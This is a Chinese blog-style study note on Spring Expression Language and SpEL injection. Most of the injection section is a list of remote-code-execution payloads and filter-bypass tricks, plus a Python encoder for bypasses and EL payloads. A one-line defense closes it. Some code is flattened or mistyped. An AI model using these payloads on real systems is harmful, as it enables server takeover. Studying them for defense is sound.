Last updated on September 27, 2024 am
SpEL基础
Springboot3 开始引入了Spring表达式语言(Spring Expression Language,简称SpEL),可以与基于XML和基于注解的Spring配置还有bean定义一起使用。
Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。
Bean是指一个由Spring容器管理的对象。这个对象可以是任何一个Java类的实例。Bean的主要优势是可以将对象的创建和管理与业务逻辑分离。这使得应用程序更加灵活和易于维护。
SpEL有许多特性:
使用Bean的ID来引用Bean
可调用方法和访问对象的属性
可对值进行算数、关系和逻辑运算
可使用正则表达式进行匹配
可进行集合操作
SpEL定界符#{}
所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等。
#{}
与${}
区别:
#{}
就是SpEL的定界符,用于指明内容为SpEL表达式并执行;
${}
主要用于加载外部属性 文件中的值;
两者可以混合使用,但是必须#{}
在外面,${}
在里面,如#{'${}'}
,注意单引号是字符串类型才添加的;
SpEL表达式类型
1 2 3 <property name ="message1" value ="#{666}" /> #给属性复制 <property name ="message" value ="the value is #{666}" /> #和字符串混用 <constructor-arg value ="#{test}" /> #对bean进行引用,test的其他bean的id
引用类属性
1 2 3 4 <bean id= "carl" class= "com.spring.entity.Instrumentalist" > <property name= "instrument" value= "#{kenny.instrument}" /> <property name= "song" value= "#{kenny.song}" /> </bean>
引用类方法
1 <property name ="song" value ="#{SongSelector.selectSong()}" />
1 <property name ="song" value ="#{SongSelector.selectSong()?.toUpperCase()}" />
?.
符号会确保左边的表达式不会为null
,如果为null
的话就不会调用toUpperCase()
方法了,防止抛出NullPointerException
错误
类类型表达式
在SpEL表达式中,使用T(Type)
运算符会调用类的作用域和方法。
使用T(Type)
来表示java.lang.Class实例,Type必须是类全限定名,但”java.lang”包除外,因为SpEL已经内置了该包,即该包下的类可以不指定具体的包名;
1 <property name ="random" value ="# {T(java.lang.Math ).random()} " />
弹计算器
1 2 3 <bean id ="helloWorld" class ="com.example.spel.HelloWorld" > <property name ="message" value ="# {T(java.lang .Runtime).getRuntime().exec('calc' )} " /></bean >
SpEL使用
可以使用SpEL的位置:
SpEL表达式注入漏洞
漏洞原理
SimpleEvaluationContext :仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用
StandardEvaluationContext (默认):支持全部SpEL语法
SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
探测
1 2 3 org.springframework .expression .Expression org.springframework .expression .ExpressionParser org.springframework .expression .spel .standard .SpelExpressionParser
1 2 3 4 ExpressionParser parser = new SpelExpressionParser() ; Expression expression = parser.parseExpression(str ) ; expression.getValue() expression.setValue()
常见POC与绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #RuntimeT(java .lang .Runtime) .getRuntime() .exec("calc" )T(Runtime) .getRuntime() .exec("calc" ) #ProcessBuildernew java.lang.ProcessBuilder({'calc '}) .start() new ProcessBuilder({'calc '}) .start() #反射调用T(String) .getClass() .for Name("java.lang.Runtime" ) .getRuntime() .exec("calc" ) #同上,需要有上下文环境 #this.getClass() .for Name("java.lang.Runtime" ) .getRuntime() .exec("calc" ) # 反射调用+字符串拼接,绕过如javacon题目中的正则过滤T(String) .getClass() .for Name("java.l" +"ang.Ru" +"ntime" ) .getMethod("ex" +"ec" ,T(String[]) ).invoke(T(String) .getClass() .for Name("java.l" +"ang.Ru" +"ntime" ) .getMethod("getRu" +"ntime" ) .invoke(T(String) .getClass() .for Name("java.l" +"ang.Ru" +"ntime" ) ),new String[] {"cmd" ,"/C" ,"calc" }) # 同上,需要有上下文环境 #this.getClass() .for Name("java.l" +"ang.Ru" +"ntime" ) .getMethod("ex" +"ec" ,T(String[]) ).invoke(T(String) .getClass() .for Name("java.l" +"ang.Ru" +"ntime" ) .getMethod("getRu" +"ntime" ) .invoke(T(String) .getClass() .for Name("java.l" +"ang.Ru" +"ntime" ) ),new String[] {"cmd" ,"/C" ,"calc" }) # 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1new java.lang.ProcessBuilder(new java .lang .String(new byte []{99,97,108,99}) ).start() # 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2T(java .lang .Runtime) .getRuntime() .exec(T(java .lang .Character) .to String(99) .concat(T(java .lang .Character) .to String(97) ).concat(T(java .lang .Character) .to String(108) ).concat(T(java .lang .Character) .to String(99) )) # JavaScript引擎通用PoCT(javax .script .ScriptEngineManager) .new Instance() .getEngineByName("nashorn" ) .eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la" +"ng.Run" +"time.getRu" +"ntime().ex" +"ec(s);" )T(org .springframework .util .StreamUtils) .copy(T(javax .script .ScriptEngineManager) .new Instance() .getEngineByName("JavaScript" ) .eval("xxx" ),) # JavaScript引擎+反射调用T(org .springframework .util .StreamUtils) .copy(T(javax .script .ScriptEngineManager) .new Instance() .getEngineByName("JavaScript" ) .eval(T(String) .getClass() .for Name("java.l" +"ang.Ru" +"ntime" ) .getMethod("ex" +"ec" ,T(String[]) ).invoke(T(String) .getClass() .for Name("java.l" +"ang.Ru" +"ntime" ) .getMethod("getRu" +"ntime" ) .invoke(T(String) .getClass() .for Name("java.l" +"ang.Ru" +"ntime" ) ),new String[] {"cmd" ,"/C" ,"calc" })),) # JavaScript引擎+URL编码T(org .springframework .util .StreamUtils) .copy(T(javax .script .ScriptEngineManager) .new Instance() .getEngineByName("JavaScript" ) .eval(T(java .net .URLDecoder) .decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29" )),) # 黑名单过滤".getClass(" ,可利用数组的方式绕过,还未测试成功 ''[' class '].for Name('java .lang .Runtime') .getDeclaredMethods() [15 ] .invoke(''[' class '].for Name('java .lang .Runtime') .getDeclaredMethods() [7 ] .invoke(null),'calc') # JDK9新增的shell,还未测试T(SomeWhitelistedClassNotPartOfJDK) .ClassLoader . loadClass("jdk.jshell.JShell" ,true ) .Methods[6 ] .invoke(null,{}).eval('whatever java code in one statement').to String() #java.nio读文件 ''.class .for Name('java .nio .charset .StandartCharsets') .UTF_8 . decode(''.class .for Name('java .nio .ByteBuffer') .wrap(''.class .forname('java.nio.file.Files'),readAllBytes(''.class .forName ('java .nio .file .Paths') .get('/flag'))))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 message = input ('Enter message to encode:' ) print ('Decoded string (in ASCII):\n' ) print ('T(java.lang.Character).toString(%s)' % ord (message[0 ]), end="" )for ch in message[1 :]: print ('.concat(T(java.lang.Character).toString(%s))' % ord (ch), end="" ), print ('\n' ) print ('new java.lang.String(new byte[]{' , end="" ),print (ord (message[0 ]), end="" )for ch in message[1 :]: print (',%s' % ord (ch), end="" ), print (')}' )
其他payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。) ${pageContext.getSession ().getServletContext ().getClassLoader ().getResource ("" )} 获取web路径 ${header} 文件头参数 ${applicationScope} 获取webRoot ${pageContext.request .getSession ().setAttribute ("a" ,pageContext.request .getClass ().forName ("java.lang.Runtime" ).getMethod ("getRuntime" ,null).invoke (null,null).exec ("命令" ).getInputStream ())} 执行命令 <p th :text="${#this.getClass().forName('java.lang.System').getProperty('user.dir')}" ></p>
过滤T(
1 ''.class.forname ('java.lang.Runtime ')
防御
使用SimpleEvaluationContext替换StandardEvaluationContext
参考
https://www.mi1k7ea.com/2020/01/10/SpEL表达式注入漏洞总结/
https://forum.butian.net/share/2483